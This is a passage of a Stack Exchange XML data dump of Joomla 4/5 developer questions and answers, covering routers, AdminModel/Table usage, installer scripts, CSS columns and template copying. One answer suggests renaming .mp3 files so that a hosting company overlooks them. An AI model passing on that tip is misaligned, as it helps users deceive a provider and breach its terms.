noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Upgrading_to_Joomla4#Router&lt;/a&gt; where the equivalent class is called TraditionalRouter, and there's a link to a zip file for that component.&lt;/p&gt;&#xA;&lt;p&gt;If you're getting the menuitems inside your router code then to make it work on the back end you'll need to do&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;$app = Factory::getApplication();&#xA;$sitemenu = $app-&amp;gt;getMenu('site');&#xA;$sitemenu-&amp;gt;load();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but you're probably aware of that if you have it working before.&lt;/p&gt;&#xA;&lt;p&gt;Note also that there are some changes as to how you need to code your custom router when you upgrade to Joomla 4. That tutorial step lists those as well.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastEditorUserId="11650" LastEditDate="2024-02-28T23:14:45.573" LastActivityDate="2024-02-28T23:14:45.573" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33692" PostTypeId="2" ParentId="33662" CreationDate="2024-02-28T20:30:04.033" Score="0" Body="&lt;p&gt;Possibly related is the issue that Subform fields do not respect the J5 &amp;quot;Toggle Inline Help&amp;quot; button which is bugging me somewhat.&#xA;Descriptions for subform fields are always shown irrespective of the toggle (it was the same in j3).&lt;/p&gt;&#xA;&lt;p&gt;It seems there is some work to be done sorting out the subform field type.&lt;/p&gt;&#xA;" OwnerUserId="12658" LastActivityDate="2024-02-28T20:30:04.033" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33693" PostTypeId="2" ParentId="33690" CreationDate="2024-02-29T08:25:53.367" Score="0" Body="&lt;p&gt;Yes it can be one but you might need to adapt an existing content plugin or if it is 3rd party extension you might ask them to write a plugin for webservices.&lt;/p&gt;&#xA;&lt;p&gt;Looking at the code for &lt;code&gt;../components/com_content&lt;/code&gt; there are numerous places where plugins are triggered for events called &lt;code&gt;onContentPrepare&lt;/code&gt;, &lt;code&gt;onContentAfterTitle&lt;/code&gt; and the two that are most likely events for the plugins you might be comparing with in the 'site'(frontend) environment &lt;code&gt;onContentBeforeDisplay&lt;/code&gt; &amp;amp; &lt;code&gt;onContentAfterDisplay&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;However in &lt;code&gt;../api/com_content&lt;/code&gt;, that is the code of com_content used by Webservices, the only event triggered is &lt;code&gt;onContentPrepare&lt;/code&gt; as there really is no use for a Title and Display of the component for the screen.&lt;/p&gt;&#xA;&lt;p&gt;The above example is for the core com_content component however the same structure would apply to any 3rd party component you might be trying to alter the contents of that will require analysis of the 3rd party components code to find what it triggers in its &lt;code&gt;/api/...&lt;/code&gt; directory.&lt;/p&gt;&#xA;&lt;p&gt;Therefore any plugin you want to execute or write for Webservices has to use &lt;code&gt;onContentPrepare&lt;/code&gt; for com_content or any other event triggered by the &lt;code&gt;/api/com_othercomponent &lt;/code&gt; and it must be eligible to execute in the 'api' environment rather than usual 'site'(front-end) and 'admin'(back-end) environments of normal content plugins.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2024-02-29T08:25:53.367" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33694" PostTypeId="2" ParentId="14223" CreationDate="2024-02-29T09:21:40.503" Score="0" Body="&lt;p&gt;Auto-updating is dangerous. In fact, I find it weird that most WordPress websites auto-update themselves with no problem whatsoever. In Joomla, the possibility of problems is much higher, considering the limited number of volunteers to test each and every extension for the current update, and the number of extensions that people have that are no longer supported.&lt;/p&gt;&#xA;&lt;p&gt;I am not saying that this is not feasible in Joomla, it is, but it requires a lot of technical knowledge with the system in order to do it, and again, it won't be safe.&lt;/p&gt;&#xA;&lt;p&gt;Officially, this has been discussed several times. Here is one of the threads about this from 8 years ago: &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/11937&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/11937&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2024-02-29T09:21:40.503" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33696" PostTypeId="1" AcceptedAnswerId="33698" CreationDate="2024-03-01T11:44:21.460" Score="0" ViewCount="42" Body="&lt;p&gt;I am writing my first extension (com_bnc) in Joomla and I want to save an existing user id and a date to a new table in the joomla database.&lt;/p&gt;&#xA;&lt;p&gt;I did the following things:&lt;/p&gt;&#xA;&lt;p&gt;I created a Controller which only extends the FormController LicenseController.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class LicenseController extends FormController&#xA;{&#xA;    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I created a Model LicenseModel.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Bumblebee\Component\BNC\Administrator\Model;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\MVC\Model\AdminModel;&#xA;use Joomla\CMS\Language\Text;&#xA;&#xA;class LicenseModel extends AdminModel&#xA;{&#xA;    public function getForm($data = array(), $loadData = true)&#xA;    {&#xA;        $form = $this-&amp;gt;loadForm(&#xA;            'com_bnc.license',&#xA;            'license',&#xA;            array(&#xA;                'control' =&amp;gt; 'jform',&#xA;                'load_data' =&amp;gt; $loadData&#xA;            ));&#xA;        if(empty($form))&#xA;        {&#xA;            return false;&#xA;        }&#xA;        return $form;&#xA;    }&#xA;&#xA;    protected function loadFormData()&#xA;    {&#xA;        $app = Factory::getApplication();&#xA;        $data = $app-&amp;gt;getUserState('com_bnc.edit.license.data',array());&#xA;&#xA;        if(empty($data))&#xA;        {&#xA;            $data = $this-&amp;gt;getItem();&#xA;        }&#xA;        return $data;&#xA;    }&#xA;&#xA;    public function getTable($name = '', $prefix = '', $options = array())&#xA;    {&#xA;        $name = 'Licenses';&#xA;        $prefix = 'Table';&#xA;&#xA;        if($table = $this-&amp;gt;_createTable($name, $prefix, $options))&#xA;        {&#xA;            return $table;&#xA;        }&#xA;        throw new \Exception(Text::sprintf('JLIB_APPLICATION_ERROR_TABLE_NAME_NOT_SUPPORTED', $name), 0);&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Created a table LicensesTable.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Bumblebee\Component\BNC\Administrator\Table;&#xA;\defined('_JEXEC') or die;&#xA;use Joomla\CMS\Table\Table;&#xA;use Joomla\Database\DatabaseDriver;&#xA;&#xA;class LicensesTable extends Table&#xA;{&#xA;    public function __construct(DatabaseDriver $db)&#xA;    {&#xA;        parent::__construct('#__nc_license','UserID',$db);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I created a template/layout edit.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Router\Route;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;&#xA;HTMLHelper::_('behavior.formvalidator');&#xA;HTMLHelper::_('behavior.keepalive');&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;form action=&amp;quot;&amp;lt;?php echo Route::_('index.php?option=com_bnc&amp;amp;view=license&amp;amp;layout=edit&amp;amp;UserID=' . (int) $this-&amp;gt;item-&amp;gt;UserID); ?&amp;gt;&amp;quot; method=&amp;quot;post&amp;quot; name=&amp;quot;adminForm&amp;quot; id=&amp;quot;license-form&amp;quot; class=&amp;quot;form-validate&amp;quot;&amp;gt;&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;&#xA;            &amp;lt;div class=&amp;quot;col-md-9&amp;quot;&amp;gt;&#xA;                &amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;&#xA;                    &amp;lt;div class=&amp;quot;col-md-6&amp;quot;&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('UserID'); ?&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('valid_until'); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;task&amp;quot; value=&amp;quot;&amp;quot;&amp;gt;&#xA;    &amp;lt;?php echo HTMLHelper::_('form.token'); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I created a form license.xml:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot; ?&amp;gt;&#xA;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;field&#xA;        name=&amp;quot;UserID&amp;quot;&#xA;        type=&amp;quot;user&amp;quot;&#xA;        label=&amp;quot;COM_BNC_LICENSE_USERID&amp;quot;&#xA;        required=&amp;quot;true&amp;quot;&#xA;        filter=&amp;quot;unset&amp;quot;&#xA;    /&amp;gt;&#xA;    &amp;lt;field&#xA;        name=&amp;quot;valid_until&amp;quot;&#xA;        type=&amp;quot;calendar&amp;quot;&#xA;        label=&amp;quot;COM_BNC_LICENSE_VALID_UNTIL&amp;quot;&#xA;        required=&amp;quot;true&amp;quot;&#xA;    /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The behavior is that I can trigger the form to add a new record (new Button) or load an existing record to edit. I see the UserID field as drop-down menu with all registered users and I can pick one. I can modify the date but when I hit the Save button or Save &amp;amp; Close button then I get the error message Field required: UserID.&#xA;No record will be written to the database.&lt;/p&gt;&#xA;&lt;p&gt;In the debugger I see the following form data&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Query String:&#xA;option: com_bnc&#xA;view: license&#xA;layout: edit&#xA;UserID: 364&#xA;&#xA;Form Data&#xA;jform[UserID]: 364&#xA;jform[valid_until]: 2024-06-30&#xA;task: license.apply&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I hope that this is not a silly question, but I try to find the error for some days now, without any success.... - Any pointer to resolve this error would be highly appreciated.&lt;/p&gt;&#xA;&lt;p&gt;Thanks,&#xA;Gerald&lt;/p&gt;&#xA;" OwnerUserId="17658" LastActivityDate="2024-03-01T18:17:13.153" Title="user id not take over by jForm" Tags="|joomla-5.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33697" PostTypeId="2" ParentId="28986" CreationDate="2024-03-01T17:47:36.800" Score="0" Body="&lt;p&gt;Change the 'true' to true. Eg drop quotes&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo $editor-&amp;gt;display('editMain', '', '75%', '400', '20', '20', **true**, null, null, null, $params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15606" LastActivityDate="2024-03-01T17:47:36.800" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33698" PostTypeId="2" ParentId="33696" CreationDate="2024-03-01T18:17:13.153" Score="0" Body="&lt;p&gt;I think your problem might be in your &lt;code&gt;getTable&lt;/code&gt; function in your model.&lt;/p&gt;&#xA;&lt;p&gt;In Joomla 4 the meaning of the &lt;code&gt;$prefix&lt;/code&gt; changed, so that now it should be set to 'administrator'. Also you shouldn't ever be calling the model &lt;code&gt;_createTable&lt;/code&gt; function.&lt;/p&gt;&#xA;&lt;p&gt;My recommendation would be to change your LicensesTable to LicenseTable, which means that it would be instantiated automatically by the MVC Factory class. Some documentation on this at &lt;a href=&quot;https://manual.joomla.org/docs/building-extensions/components/mvc/mvc-overview&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://manual.joomla.org/docs/building-extensions/components/mvc/mvc-overview&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I think you should then be able to remove your &lt;code&gt;getTable&lt;/code&gt; function completely from your model, as it will automatically pick the LicenseTable.&lt;/p&gt;&#xA;&lt;p&gt;By the way, regarding the code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HTMLHelper::_('behavior.formvalidator');&#xA;HTMLHelper::_('behavior.keepalive');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;From Joomla 4 the 'behavior' things are no longer available.&lt;/p&gt;&#xA;&lt;p&gt;Instead for the formvalidator use in your tmpl file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;document-&amp;gt;getWebAssetManager()-&amp;gt;useScript('form.validate');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I don't think you need to specifically include keepalive - I think it's activated by default.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2024-03-01T18:17:13.153" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="33699" PostTypeId="1" CreationDate="2024-03-02T16:31:16.287" Score="0" ViewCount="5" Body="&lt;p&gt;I have a J5 mod_articles_category which appears in a sidebar on large screens and drops to full width on smaller screens. I have added CSS so that when it's full width it appears as three, then ten columns, rather than one. Each li element has a bottom border, bottom box shadow and bottom margin. On Windows and my Android phone it displays correctly, but on my iPad in portrait mode it doesn't: &lt;a href=&quot;https://i.stack.imgur.com/RHSkn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RHSkn.jpg&quot; alt=&quot;screenshot&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is a simplified version of my code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;&#xA;body {&#xA;  background-color: #e6edce;&#xA;  }&#xA;ul {&#xA;  margin-top: 0;&#xA;  margin-bottom: 0;&#xA;  padding-left: 0;&#xA;  }&#xA;.three-cols {&#xA;  columns: 3 200px;&#xA;  column-gap: 1rem;&#xA;}&#xA;li {&#xA;border-bottom: solid 1px #cccccc;&#xA;  box-shadow: 0 0.125rem 0 #ffffff;&#xA;  list-style: none;&#xA;  margin-bottom: 0.5rem;&#xA;  padding-bottom: 0.5rem;&#xA;  -webkit-column-break-inside: avoid;&#xA;  page-break-inside: avoid;&#xA;  break-inside: avoid;&#xA;}&#xA;&amp;lt;/style&amp;gt;&#xA;&#xA;&amp;lt;div&amp;gt;&#xA;&amp;lt;ul class=&amp;quot;three-cols&amp;quot;&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;/news-and-events/centenary/the-1920s&amp;quot;&amp;gt;The 1920s&amp;lt;/a&amp;gt;  &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;/news-and-events/centenary/the-1930s&amp;quot;&amp;gt;The 1930s&amp;lt;/a&amp;gt;  &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;/news-and-events/centenary/the-1940s&amp;quot;&amp;gt;The 1940s&amp;lt;/a&amp;gt;  &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What do I need to do to put this right?&lt;/p&gt;&#xA;" OwnerUserId="13040" LastActivityDate="2024-03-02T16:31:16.287" Title="column-break-inside: avoid is not working on iOS" Tags="|css|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33700" PostTypeId="1" CreationDate="2024-03-02T21:31:56.697" Score="0" ViewCount="58" Body="&lt;p&gt;Simply put, I'm using a plugin that I'd like to host on a different server from the one my site is on. I'd like to point joomla to the plugin content stored on that other server, not in the plugin folder of my Joomla site.&lt;/p&gt;&#xA;&lt;p&gt;Why would I want to do that? Well...&lt;/p&gt;&#xA;&lt;p&gt;Background: I have been using Joomla since version 1.5, and way way back then, I started using mp3browser.&lt;/p&gt;&#xA;&lt;p&gt;I've been updating it to function myself for years, because I haven't found a better way to make nice little lists of audio files for my users to interact with. These are recordings I have made myself, that my organization owns.&lt;/p&gt;&#xA;&lt;p&gt;I've been hit with a warning from my hosting provider, that storage of mp3s is no longer allowed (it's considered bulk storage, even if the files are linked), so I need to move them to another server.&lt;/p&gt;&#xA;&lt;p&gt;The plugin I'm using browses then lists the server's files within a specified folder, including media tags for playback on each file. As such, the php files need to be executed by the server that also hosts the files.&lt;/p&gt;&#xA;&lt;p&gt;My wonky idea is to move the plugin to my other server and have Joomla point itself to &lt;em&gt;that&lt;/em&gt; server for that particular plugin (folder).&lt;/p&gt;&#xA;" OwnerUserId="17663" LastEditorUserId="17663" LastEditDate="2024-03-02T22:12:32.297" LastActivityDate="2024-04-03T18:25:43.683" Title="Is it possible to point Joomla to use a plugin hosted on a different server?" Tags="|plugin|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="33701" PostTypeId="2" ParentId="33700" CreationDate="2024-03-03T06:52:07.903" Score="0" Body="&lt;p&gt;I think it is simplier to add your plugin in the &amp;quot;local&amp;quot; joomla plugin folder, and into the code source, you store le content on another server&lt;/p&gt;&#xA;" OwnerUserId="16374" LastActivityDate="2024-03-03T06:52:07.903" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33702" PostTypeId="1" CreationDate="2024-03-03T16:58:36.403" Score="0" ViewCount="44" Body="&lt;p&gt;In Joomla 3 there was a handy button to create a copy of template so that you had a basis on which to customise and create your own template.&lt;/p&gt;&#xA;&lt;p&gt;This seems to have been removed in J5 and instead there is a create child template button which is not at all what I want. I want an entirely separate template to customise which is not linked to a parent.&lt;/p&gt;&#xA;&lt;p&gt;What is the best way do do this now? (and why on earth was the facility removed - it was really useful) ?&lt;/p&gt;&#xA;" OwnerUserId="12658" LastActivityDate="2024-03-12T19:41:14.123" Title="How do I copy a template" Tags="|templates|joomla-5.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33703" PostTypeId="2" ParentId="33531" CreationDate="2024-03-03T19:35:00.027" Score="0" Body="&lt;p&gt;The plugin needs to be constructed using namespaces and a service provider, since I presume @maiden is building the plugin for Joomla 4+.&lt;/p&gt;&#xA;&lt;p&gt;This means first adding the namespace tag to the plugin xml file, of the format&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;namespace path=&amp;quot;src&amp;quot;&amp;gt;MyCompany\Plugin\System\MyExample&amp;lt;/namespace&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then instead of the usual single php file, e.g. myexample.php, it is necessary to create two folders, once called services the other src. In the services folder you put the provider.php file, which returns an anonymous PHP class which implements the Joomla dependency injection interface Joomla\DI\ServiceProviderInterface.&lt;/p&gt;&#xA;&lt;p&gt;In the folder src you put your plugin files with the plugin php class. For details explanation of how to construct plugin for Joomla 4+, you should refer to the section of book by Nicholas Dionysopoulos about &lt;a href=&quot;https://www.dionysopoulos.me/book/plg.html#plg-forms&quot; rel=&quot;nofollow noreferrer&quot;&gt;plugin construction&lt;/a&gt;. If building a provider.php service class is completely new to you, you should also read the section about &lt;a href=&quot;https://www.dionysopoulos.me/book/com-services.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;service provide&lt;/a&gt; from the same book.&lt;/p&gt;&#xA;" OwnerUserId="5523" LastActivityDate="2024-03-03T19:35:00.027" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33704" PostTypeId="2" ParentId="33700" CreationDate="2024-03-04T00:00:57.917" Score="1" Body="&lt;p&gt;The plugin code needs to be on the same server in the same instance of Joomla that is going to execute it otherwise it cannot be loaded at each invocation of Joomla. If the plugin is on another server you need to be able to address or locate the plugin code and at a minimum you would need a URL to the 'other' server. The code that loads Plugins isn't designed or intended to use a URL to get code to execute from other locations, remote or otherwise.&lt;/p&gt;&#xA;&lt;p&gt;With the plugin code on the same instance of Joomla you may be be able to modify the code to list and retrieve files on the other server using a URL or a web api. This would all be dependant on the code in the Plugin and whether it can be modified to retrieve files remotely.&lt;/p&gt;&#xA;&lt;p&gt;Another option maybe to store the .mp3 files with a different extension and or filename on the same server that would obscure them from your hosting companies attention and in the plugin code do a conversion of the stored name to the displayed name for downloading etc.&lt;/p&gt;&#xA;&lt;p&gt;Or find a better Hosting company that can tell the difference between file storage and website content.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2024-03-04T00:00:57.917" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33707" PostTypeId="1" CreationDate="2024-03-08T12:38:44.100" Score="0" ViewCount="8" Body="&lt;p&gt;[original post - I have now established it is a bug]&#xA;A strange quirk. Using Joomla 5 my install script for a component is designed to show some information to the user after update. It renders the expected text during postflight() if I upload the file to the com_installer install view - it correctly detects that it is an update and displays my update welcome text.&lt;/p&gt;&#xA;&lt;p&gt;However if the update is run by the com_installer update view after detecting an update is available it successfully does the update but the completion text from the script is not displayed. However messages using enqueueMessage() are displayed as in the example below.&lt;/p&gt;&#xA;&lt;p&gt;I have seen another component correctly display a message, but I can't see any functional difference between it's postflight() function and mine - we are both simply echoing text.&lt;/p&gt;&#xA;&lt;p&gt;Here's a script file that doesn't work:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Installer\Installer;&#xA;use Joomla\Filesystem\Path;&#xA;&#xA;class com_xbarticlemanInstallerScript {&#xA;&#xA;    protected $oldver = 'v0.0.0';&#xA;    protected $olddate = '32nd January 2024';&#xA;&#xA;    function preflight($type, $parent) {&#xA;        // if we are updating then get the old version and date from component xml before it gets overwritten.&#xA;        if ($type=='update') {&#xA;            $componentXML = Installer::parseXMLInstallFile(Path::clean(JPATH_ADMINISTRATOR . '/components/com_xbarticleman/xbarticleman.xml'));&#xA;            $this-&amp;gt;oldver = $componentXML['version'];&#xA;            $this-&amp;gt;olddate = $componentXML['creationDate'];&#xA;            Factory::getApplication()-&amp;gt;enqueueMessage('Updating from '.$this-&amp;gt;oldver.' '.$this-&amp;gt;olddate.' to '.$parent-&amp;gt;getManifest()-&amp;gt;version);&#xA;        }&#xA;    }&#xA;    &#xA;    function postflight($type, $parent) {&#xA;        if ($type == 'update') {&#xA;            Factory::getApplication()-&amp;gt;enqueueMessage('updated xbArticleMan component to version '.$parent-&amp;gt;getManifest()-&amp;gt;version);&#xA;//and here's some text that should be displayed on the install/update page after update&#xA;            echo '&amp;lt;div&amp;gt;&amp;lt;p&amp;gt;The &amp;lt;b&amp;gt;xbArticleMan&amp;lt;/b&amp;gt; component has been updated'; &#xA;            echo ' to &amp;lt;b&amp;gt;'.$parent-&amp;gt;getManifest()-&amp;gt;version.'&amp;lt;/b&amp;gt;';&#xA;            echo ' from '.$this-&amp;gt;oldver.'&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';          &#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The message displays ok, but the text is not displayed when using the updater but is displayed when using the installer. Any ideas why?&lt;/p&gt;&#xA;" OwnerUserId="12658" LastEditorUserId="12658" LastEditDate="2024-03-08T18:37:13.667" LastActivityDate="2024-03-08T18:37:13.667" Title="BUG com_installer not always displaying update script output" Tags="|joomla-4.x|installation|joomla-5.x|extension-update|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33708" PostTypeId="1" CreationDate="2024-03-08T17:06:08.527" Score="0" ViewCount="33" Body="&lt;p&gt;I'm using a library where i have some things like tables i use in different components i made.&#xA;Until now i could do this in a component model to use a table from my library:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class ItemModel extends AdminModel&#xA;{&#xA;    public function getTable($type = 'Item', $prefix = 'Mylib\\Library\\Table\\MyTable', $config = [])&#xA;    {&#xA;        return Table::getInstance($type, $prefix, $config);&#xA;    }&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;Table::getInstance&lt;/code&gt; is deprecated and when namespacing everything this no longer works as &lt;code&gt;createTable&lt;/code&gt; works different:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class ItemModel extends AdminModel&#xA;{&#xA;    public function getTable($type = 'Item', $prefix = 'Mylib\\Library\\Table\\MyTable', $config = [])&#xA;    {&#xA;        return parent::getTable($type, $prefix, $config);&#xA;    }&#xA;    ...   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is also obsolete and i dont know how to replace it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$item = Table::getInstance('Item', 'MyLib\\Library\\Table\\MyTable');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is there a way to use a table directly from the library now?&lt;/p&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="15761" LastEditDate="2024-03-09T16:10:50.583" LastActivityDate="2024-03-10T04:58:37.503" Title="Using a table from a library when namespaced" Tags="|jtable|namespace|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33709" PostTypeId="2" ParentId="33707" CreationDate="2024-03-08T18:35:50.167" Score="0" Body="&lt;p&gt;This is a BUG in com_installer. If there is more than one extension to be updated and you only mark one checkbox to update the the script extension_message (ie the html output during postflight() IS displayed.&lt;/p&gt;&#xA;&lt;p&gt;If, however, there is only one extension in the list and you update it, OR if there is more than one extension in the list and your check 2 or more to be updated then the extension_message for the script(s) is NOT displayed.&lt;/p&gt;&#xA;" OwnerUserId="12658" LastActivityDate="2024-03-08T18:35:50.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33710" PostTypeId="2" ParentId="33708" CreationDate="2024-03-10T04:58:37.503" Score="1" Body="&lt;p&gt;You can try either of these method that I have used in components.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Mylib\Library\Table\MyTable;&#xA;...&#xA;$this-&amp;gt;db    = $this-&amp;gt;db    ? :Factory::getContainer()-&amp;gt;get('DatabaseDriver');&#xA;$item_table = new MyTable($this-&amp;gt;db);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In MyTable I have this Class statement,&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class MyTable extends Table&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;__construct&lt;/code&gt; of the Table class requires you to pass in the database object.&lt;/p&gt;&#xA;&lt;p&gt;You could also reduce it to two lines if you only have one reference to the table in your class.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;db    = $this-&amp;gt;db    ? :Factory::getContainer()-&amp;gt;get('DatabaseDriver');&#xA;$item_table = new Mylib\Library\Table\MyTable($this-&amp;gt;db);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The getInstance() methods of a many number of Classes, being depreciated moving forward, works on the premise that if an instance of a requested Object already exists then use that object, if not then create a new instance of the object this and every subsequent request for the same object.&lt;/p&gt;&#xA;&lt;p&gt;The getTable() and createTable() methods, ultimately they use &lt;code&gt;getMVCFactory()-&amp;gt;createTable&lt;/code&gt;, that you now see in Joomla 4 onwards simply creates an instance of the table and it is up to your code to manage whether you create a separate instance(s) or use an existing object if it already exists. I suspect this is why you mention getTable() doesn't work for you now.&lt;/p&gt;&#xA;&lt;p&gt;I suspect you will need to have a different approach to the way you manage each call to each table in the Library if you are relying on getting the same instance of the object returned if it already exists. Something like calling  a 'getter' first that will return an existing object or create a new object calling a second method using the above example or a &lt;code&gt;createTable()&lt;/code&gt; if the object doesn't exist.&lt;/p&gt;&#xA;&lt;p&gt;I would also consider whether having Table classes in a Library is the best way to achieve what you are doing but that is beyond the scope of your question.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2024-03-10T04:58:37.503" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33711" PostTypeId="1" CreationDate="2024-03-11T13:17:38.410" Score="1" ViewCount="20" Body="&lt;p&gt;in my component I made a List view of items and add with ToolbarHelper a New Button to add new items. Further I add a link to the item name to edit this item.&#xA;As for SEF user friendly URLs I add a Router.php in site/src/Service.&#xA;My router.php replace the item id with item name which works fine. - I can list, edit and save modified items.&lt;/p&gt;&#xA;&lt;p&gt;The add function will be trigger if no item id is provided in the link. So if I de-active the SEO friendly URLs on the Gerneral Settings even the new button is working.&#xA;With active SEO friendly URLs it seems the router.php is &amp;quot;blocking&amp;quot; the add functionality... even knowing I definitely misunderstood something here ....&lt;/p&gt;&#xA;&lt;p&gt;my Router.php is as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class Router extends RouterView&#xA; {&#xA;    private $db;&#xA;&#xA;    public function __construct(SiteApplication $app, AbstractMenu $menu, $category, DatabaseInterface $db)&#xA;    {&#xA;        $this-&amp;gt;db = $db;&#xA;        $dogs = new RouterViewConfiguration('dogs');&#xA;        $this-&amp;gt;registerView($dogs);&#xA;        $dog = new RouterViewConfiguration('dog');&#xA;        $dog-&amp;gt;setKey('dogID')-&amp;gt;setParent($dogs);&#xA;        $this-&amp;gt;registerView($dog);&#xA;&#xA;        parent::__construct($app, $menu);&#xA;        $this-&amp;gt;attachRule(new MenuRules($this));&#xA;        